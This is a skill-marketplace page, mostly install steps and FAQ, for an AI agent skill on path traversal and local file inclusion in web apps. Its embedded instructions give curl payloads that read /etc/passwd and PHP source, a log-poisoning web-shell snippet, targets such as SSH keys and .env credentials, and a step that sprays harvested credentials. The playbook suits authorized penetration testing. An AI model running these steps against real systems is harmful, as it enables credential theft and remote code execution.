Web Lfi Traversal

Q: Why use Web Lfi Traversal on TypingMind?

Because you install it once and use it with any model. Web Lfi Traversal is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

Q: How do I install Web Lfi Traversal in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/s0ld13rr/pentestcode/tree/main/skills/web/lfi-traversal. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Q: Which AI models can use Web Lfi Traversal?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

Q: How many AI models can I use with Web Lfi Traversal?

As many as you like. As long as a model supports skills, you can use Web Lfi Traversal with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Q: Is the Web Lfi Traversal AI skill free?

Yes. It is published on GitHub by s0ld13rr under the MIT license. You only pay your own AI provider for the tokens you use.

Q: What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

Q: How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

Community

s0ld13rr

web-lfi-traversal

Path traversal / Local File Inclusion detection→file-read→RCE for web apps. Use when a param names a file/path/page/template/lang/download, or a response embeds file contents. Triggers - file=/page=/path=/template=/lang=/download=/include= param, ../, %2e%2e, "no such file", directory listing, download endpoint.

Overview

Publisher	s0ld13rr
Repository	`pentestcode`
Skill name	`web-lfi-traversal`
Stars	834
Forks	131
Bundled files	Instructions only
License	MIT
Links	Skill source Repository

Markdown instructions
A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.
Works with any LLM
AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.
Self-contained
Everything the model needs lives in the instructions — no extra files to sync.
Open source
Published by s0ld13rr on GitHub. Read the source before you install it.

Installation

Install the Web Lfi Traversal AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

Open the app and go to Plugins → Skills.
Choose "Install from GitHub".
Paste the skill folder URL below and confirm.
https://github.com/s0ld13rr/pentestcode/tree/main/skills/web/lfi-traversal
Enable the skill in any chat where you want it available.

Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills

git clone --depth 1 https://github.com/s0ld13rr/pentestcode.git /tmp/pentestcode
mkdir -p .claude/skills
cp -r /tmp/pentestcode/skills/web/lfi-traversal .claude/skills/web-lfi-traversal

Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Web Lfi Traversal in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Web Lfi Traversal on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Web Lfi Traversal is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

Loaded only when it is needed
The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.
Switch models mid-chat
Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Path Traversal / LFI

When this fires

A param selects a file/page/template/language/download, or a download/include endpoint reflects file content.

Detect

bash
curl 'http://<t>/?page=../../../../etc/passwd'          # classic
curl 'http://<t>/?page=%2e%2e%2f%2e%2e%2fetc%2fpasswd'  # url-encoded
curl 'http://<t>/?page=....//....//etc/passwd'          # filter-strip bypass

root:x:0:0 back = traversal/LFI. Windows: ..\..\..\windows\win.ini.

Decide

Reads only (traversal) → escalate to source disclosure + secrets.
PHP include() (LFI) → escalate to RCE via wrappers/poisoning.
Extension appended (page.php) → php://filter (below) or null-byte on old PHP; try ?page=../../etc/passwd%00 (PHP<5.3.4).

Exploit → PROVE IMPACT

bash
# source disclosure (base64 so PHP doesn't execute it):
curl 'http://<t>/?page=php://filter/convert.base64-encode/resource=index.php' | base64 -d
# high-value reads: app config/.env, DB creds, SSH keys, /proc/self/environ, /proc/self/cmdline
# LFI → RCE paths:
#  log poisoning: inject <?php system($_GET[c]);?> into UA/referer → include /var/log/apache2/access.log
#  session poisoning: write PHP into a session var → include /var/lib/php/sessions/sess_<PHPSESSID>
#  php://input / data:// (if allow_url_include) ; /proc/self/environ (older)
#  php filter chain → RCE (php_filter_chain_generator) when only file-read is available

Proof required: contents of a file the app shouldn't return (/etc/passwd, an .env with creds), or id via an LFI→RCE chain. Harvested creds → add_credential + cred_spray.

Tooling

nuclei -tags lfi,traversal; ffuf with an LFI wordlist on the param; php_filter_chain_generator for filter-only cases.

False positives / pitfalls

WAF/framework normalizes ../ → try encodings, ....//, absolute paths, or a different param.
App sandboxes to a base dir → look for a symlink/upload you control to include.
200 with generic page ≠ read — confirm the actual file bytes are in the response.

Frequently asked questions

What does the Web Lfi Traversal AI skill do?

Why use Web Lfi Traversal on TypingMind?

Because you install it once and use it with any model. Web Lfi Traversal is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Web Lfi Traversal in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/s0ld13rr/pentestcode/tree/main/skills/web/lfi-traversal. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Web Lfi Traversal?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Web Lfi Traversal?

As many as you like. As long as a model supports skills, you can use Web Lfi Traversal with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Web Lfi Traversal AI skill free?

Yes. It is published on GitHub by s0ld13rr under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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Overview

Installation

Install in TypingMind

Install in another agent

Use it in TypingMind

Works with any AI model

Skill instructions

Path Traversal / LFI

When this fires

Detect

Decide

Exploit → PROVE IMPACT

Tooling

False positives / pitfalls

Frequently asked questions

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